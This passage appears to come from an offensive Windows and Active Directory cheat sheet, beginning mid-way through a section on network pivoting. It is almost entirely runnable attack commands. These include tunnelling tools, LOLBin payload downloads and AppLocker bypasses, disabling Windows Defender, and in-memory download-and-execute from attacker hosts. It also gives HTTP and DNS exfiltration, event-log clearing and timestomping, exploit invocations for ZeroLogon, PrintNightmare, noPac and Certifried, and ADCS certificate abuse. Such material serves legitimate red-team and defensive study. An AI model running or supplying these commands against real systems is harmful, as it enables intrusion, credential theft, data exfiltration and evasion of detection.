chisel client <attacker>:8080 R:3389:192.168.1.10:3389

:: Victim - Multiple forwards
chisel client <attacker>:8080 R:3389:192.168.1.10:3389 R:445:192.168.1.10:445

Ligolo-ng

:: Attacker - Start proxy server
ligolo-proxy -selfcert

:: Victim - Connect agent
ligolo-agent -connect <attacker>:11601 -ignore-cert

:: In proxy interface:
:: session - select agent
:: ifconfig - view routes
:: start - start tunnel

:: Add route on attacker
sudo ip route add 192.168.1.0/24 dev ligolo

Plink (PuTTY CLI)

:: Local port forward
plink.exe -ssh -L 13389:192.168.1.10:3389 user@jumphost -pw <password>

:: Remote port forward
plink.exe -ssh -R 8445:127.0.0.1:445 user@attacker -pw <password>

:: Dynamic SOCKS proxy
plink.exe -ssh -D 9050 user@jumphost -pw <password>

:: Non-interactive (accept host key)
echo y | plink.exe -ssh -L 13389:192.168.1.10:3389 user@jumphost -pw <password>

SOCKS Proxy Usage

:: Proxychains (Linux attacker)
proxychains nmap -sT -Pn 192.168.1.10
proxychains impacket-psexec domain/user:pass@192.168.1.10

:: Windows - Configure system proxy
netsh winhttp set proxy proxy-server="socks=127.0.0.1:9050" bypass-list="*.local"

:: Reset proxy
netsh winhttp reset proxy

Meterpreter Pivoting

# Add route through session
meterpreter > run autoroute -s 192.168.1.0/24

# Port forward
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10

# SOCKS proxy
msf > use auxiliary/server/socks_proxy
msf > set SRVPORT 9050
msf > run

13. Living off the Land Binaries (LOLBins)

Execution

Download

:: Certutil
certutil -urlcache -split -f http://<attacker>/file.exe C:\Temp\file.exe

:: Bitsadmin
bitsadmin /transfer job /download /priority high http://<attacker>/file.exe C:\Temp\file.exe

:: Expand
expand \\<attacker>\share\file.zip C:\Temp\file.exe

:: Esentutl
esentutl.exe /y \\<attacker>\share\file.exe /d C:\Temp\file.exe /o

:: Findstr (read SMB)
findstr /V "randomstring" \\<attacker>\share\file.exe > C:\Temp\file.exe

:: Desktopimgdownldr
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://<attacker>/file.exe /eventName:desktopimgdownldr

Execution via DLL Side-Loading

:: Rundll32 with export function
rundll32.exe payload.dll,DllMain
rundll32.exe payload.dll,#1

:: Regsvr32
regsvr32 /s payload.dll

:: Control panel execution
control.exe payload.dll

:: MSIExec DLL
msiexec /y payload.dll

Bypass AppLocker / Application Whitelisting

:: MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

:: InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

:: RegAsm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U payload.dll

:: RegSvcs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe payload.dll

:: CMSTP
cmstp.exe /ni /s payload.inf

:: Msdeploy
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="C:\Temp\payload.exe"

Compilation on Target

:: C# compilation with csc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:payload.exe payload.cs

:: VBC compilation
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe /out:payload.exe payload.vb

:: JScript compilation
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe payload.js

14. Constrained Language Mode Bypass

Detection

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Constrained = ConstrainedLanguage
# Full = FullLanguage

Bypass Techniques

# PowerShell v2 downgrade (if available, no CLM)
powershell -version 2

# PSByPassCLM (inject into unmanaged runspace)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PSBypassCLM.exe

# Custom runspace via C#
# Compile and execute C# that creates unrestricted runspace

:: Via MSBuild (inline C# task)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe bypass.xml

:: bypass.xml content allows full PowerShell execution

PowerShell without PowerShell.exe

:: SyncAppvPublishingServer
SyncAppvPublishingServer.exe "n; IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"

:: Via rundll32
rundll32.exe PowerShdll.dll,main

:: PowerLessShell (MSBuild-based)
MSBuild.exe PowerLessShell.xml

:: NoPowerShell (C# implementation)
NoPowerShell.exe Get-Process

15. Windows Defender Evasion

Exclusion Abuse

# Add exclusions (requires admin)
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionProcess "payload.exe"
Add-MpPreference -ExclusionExtension ".ps1"

# View current exclusions
Get-MpPreference | Select Exclusion*

# Common pre-existing exclusions to check
Get-MpPreference | Select ExclusionPath,ExclusionProcess,ExclusionExtension

Disable Protections (Requires Admin)

# Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable IOAV (scanning downloaded files)
Set-MpPreference -DisableIOAVProtection $true

# Disable behavior monitoring
Set-MpPreference -DisableBehaviorMonitoring $true

# Disable script scanning
Set-MpPreference -DisableScriptScanning $true

# Disable all via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1

# Disable via GPO registry
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

Payload Obfuscation

# String obfuscation
$a = "Invoke"
$b = "-Mimikatz"
& ($a + $b)

# Character array
$cmd = [char[]]@(73,69,88) -join ''  # IEX

# Base64 + compression
$code = [Convert]::ToBase64String([IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($compressed), [IO.Compression.CompressionMode]::Decompress).ToArray())

# Invoke-Obfuscation techniques
# Token obfuscation
& (("IEX" -split '' | %{[char][int]$_}) -join '')

# String reversal
$reversed = ")'x]1[tnemnorvinE:vne$teleD'(xeI"
IEX ($reversed[-1..-($reversed.Length)] -join '')

In-Memory Execution

# .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData("http://attacker/payload.exe")
$assembly = [Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,[string[]]@()))

# PowerShell script in memory
IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1")

# Reflective DLL injection
$bytes = (New-Object Net.WebClient).DownloadData("http://attacker/payload.dll")
Invoke-ReflectivePEInjection -PEBytes $bytes

16. Data Exfiltration

File Compression

:: Zip using PowerShell
powershell Compress-Archive -Path C:\Data -DestinationPath C:\Temp\data.zip

:: Zip with password (7zip)
7z.exe a -pPassword123 C:\Temp\data.7z C:\Data\*

:: Makecab (native compression)
makecab C:\Data\secret.txt C:\Temp\secret.cab

# Compress folder
Compress-Archive -Path "C:\Sensitive" -DestinationPath "C:\Temp\exfil.zip"

# Compress specific files
Compress-Archive -Path "C:\Data\*.docx","C:\Data\*.xlsx" -DestinationPath "C:\Temp\docs.zip"

Exfiltration Channels

# HTTP POST
$data = Get-Content C:\Temp\data.zip -Encoding Byte
Invoke-WebRequest -Uri "http://attacker/upload" -Method POST -Body $data

# Base64 via HTTP
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
Invoke-WebRequest -Uri "http://attacker/exfil?data=$b64" -Method GET

# DNS exfiltration (slow, stealthy)
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.txt"))
$chunks = $data -split '(.{63})' | Where-Object { $_ }
foreach ($chunk in $chunks) {
    Resolve-DnsName "$chunk.attacker.com" -Type TXT -ErrorAction SilentlyContinue
}

:: SMB to attacker share
copy C:\Temp\data.zip \\<attacker>\share\data.zip

:: FTP upload
echo open <attacker> > ftp.txt
echo user anonymous >> ftp.txt
echo pass anonymous >> ftp.txt
echo binary >> ftp.txt
echo put C:\Temp\data.zip >> ftp.txt
echo quit >> ftp.txt
ftp -s:ftp.txt

:: TFTP (if enabled)
tftp -i <attacker> PUT C:\Temp\data.zip

:: Certutil encode + copy
certutil -encode C:\Temp\data.zip C:\Temp\data.b64
type C:\Temp\data.b64 | clip

Cloud Storage

# Upload to Azure Blob
$context = New-AzStorageContext -StorageAccountName "account" -StorageAccountKey "key"
Set-AzStorageBlobContent -File "C:\Temp\data.zip" -Container "exfil" -Blob "data.zip" -Context $context

# AWS S3 (if CLI available)
aws s3 cp C:\Temp\data.zip s3://bucket/data.zip

17. Cleanup & Anti-Forensics

Event Log Clearing

:: Clear all logs (requires admin)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

:: Clear via PowerShell
for /F "tokens=*" %a in ('wevtutil el') DO wevtutil cl "%a"

# Clear all event logs
Get-EventLog -LogName * | ForEach-Object { Clear-EventLog -LogName $_.Log }

# Clear specific logs
Clear-EventLog -LogName Security,System,Application

# Wevtutil PowerShell
wevtutil el | Foreach-Object { wevtutil cl "$_" }

Timestomping

# Modify timestamps
$file = Get-Item C:\Temp\payload.exe
$date = Get-Date "01/01/2020 12:00:00"
$file.CreationTime = $date
$file.LastWriteTime = $date
$file.LastAccessTime = $date

# Copy timestamps from another file
$source = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Temp\payload.exe
$target.CreationTime = $source.CreationTime
$target.LastWriteTime = $source.LastWriteTime
$target.LastAccessTime = $source.LastAccessTime

File Deletion

:: Secure delete (overwrite)
cipher /w:C:\Temp

:: Delete with SDelete (Sysinternals)
sdelete.exe -p 3 C:\Temp\payload.exe

:: PowerShell removal
Remove-Item C:\Temp\payload.exe -Force

:: Delete alternate data streams
dir /r C:\Temp
more < C:\Temp\file.txt:hidden
powershell -c "Remove-Item C:\Temp\file.txt -Stream hidden"

Registry Cleanup

:: Remove Run key persistence
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /f

:: Remove service
sc delete "MaliciousService"

:: Clear PowerShell history
del %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Clear PowerShell history
Remove-Item (Get-PSReadLineOption).HistorySavePath

# Clear recent files
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force

# Clear temp files
Remove-Item "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue

Disable Logging

# Disable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 0

# Disable Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name EnableModuleLogging -Value 0

# Disable Transcription
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name EnableTranscripting -Value 0

18. Common CVE Exploits

PrintNightmare (CVE-2021-34527)

# Check if vulnerable
Get-Service -Name Spooler

# CVE-2021-1675 / CVE-2021-34527
# Requires: Print Spooler running, attacker hosts malicious DLL

# Remote exploitation
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "Password123!"

# SharpPrintNightmare
SharpPrintNightmare.exe C:\Temp\payload.dll
SharpPrintNightmare.exe \\<attacker>\share\payload.dll \\<target>

ZeroLogon (CVE-2020-1472)

# Test vulnerability
impacket-zerologon <dc-name> <dc-ip>

# Exploit (sets DC password to empty)
impacket-zerologon <dc-name> <dc-ip> -exploit

# Dump hashes with empty password
impacket-secretsdump -no-pass -just-dc <domain>/<dc-name>\$@<dc-ip>

# Restore DC password
impacket-restorepassword <domain>/<dc-name>@<dc-name> -target-ip <dc-ip> -hexpass <original-hex>

PetitPotam (CVE-2021-36942)

# Coerce authentication from DC to attacker
python3 PetitPotam.py <attacker-ip> <dc-ip>

# Capture with Responder or ntlmrelayx
ntlmrelayx.py -t ldaps://<dc-ip> --delegate-access

# Combine with ADCS relay (ESC8)
ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

HiveNightmare/SeriousSAM (CVE-2021-36934)

:: Check if vulnerable (VSS enabled + accessible SAM)
icacls C:\Windows\System32\config\SAM

:: If readable by BUILTIN\Users, system is vulnerable
:: Copy from shadow copy
vssadmin list shadows

:: Extract from shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY

noPac (CVE-2021-42278/CVE-2021-42287)

# Scan for vulnerability
noPac.py scan <domain>/<username>:<password> -dc-ip <dc-ip>

# Exploit - get shell on DC
noPac.py exploit <domain>/<username>:<password> -dc-ip <dc-ip> -shell

# Dump hashes
noPac.py exploit <domain>/<username>:<password> -dc-ip <dc-ip> -dump

Certifried (CVE-2022-26923)

# Requires ADCS with vulnerable template
# Create machine account
impacket-addcomputer <domain>/<user>:<pass> -computer-name 'EVIL$' -computer-pass 'Password123!'

# Change dNSHostName to DC
python3 bloodyAD.py -d <domain> -u <user> -p <pass> --host <dc-ip> set object 'CN=EVIL,CN=Computers,DC=domain,DC=local' dNSHostName '["dc.domain.local"]'

# Request certificate
certipy req -u 'EVIL$@domain.local' -p 'Password123!' -ca 'CA-Name' -target '<ca-server>' -template 'Machine'

# Authenticate with certificate
certipy auth -pfx evil.pfx -dc-ip <dc-ip>

19. Quick Reference Tables

Common Ports

Hash Formats

Hashcat Modes

# Crack NTLM
hashcat -m 1000 hash.txt rockyou.txt

# Crack Kerberoast
hashcat -m 13100 tgs_hashes.txt rockyou.txt

# Crack AS-REP Roast
hashcat -m 18200 asrep_hashes.txt rockyou.txt

20. Tool Quick Reference

Impacket Suite

Mimikatz Modules

Rubeus Commands

21. Active Directory Certificate Services (ADCS) Attacks

Enumeration

# Find CA servers
certutil -config - -ping

# List templates
certutil -TCAInfo

# Enumerate templates and permissions
Certify.exe find
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser

# Certipy enumeration
certipy find -u <user>@<domain> -p <password> -dc-ip <dc-ip>
certipy find -u <user>@<domain> -p <password> -dc-ip <dc-ip> -vulnerable -stdout

ESC1 - Misconfigured Certificate Templates

# Template allows SAN (Subject Alternative Name) specification
# Low-priv user can request cert for any user

# Request cert as Domain Admin
certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <vuln-template> -upn administrator@<domain>

# Authenticate with cert
certipy auth -pfx administrator.pfx -dc-ip <dc-ip>

:: Certify
Certify.exe request /ca:<ca-server>\<ca-name> /template:<vuln-template> /altname:administrator

ESC2 - Any Purpose Templates

# Template has "Any Purpose" EKU or no EKU
certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <vuln-template>

ESC3 - Enrollment Agent Templates

# Step 1: Request Enrollment Agent cert
certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <enrollment-agent-template>

# Step 2: Use EA cert to request cert on behalf of another user
certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template User -on-behalf-of '<domain>\administrator' -pfx <enrollment-agent.pfx>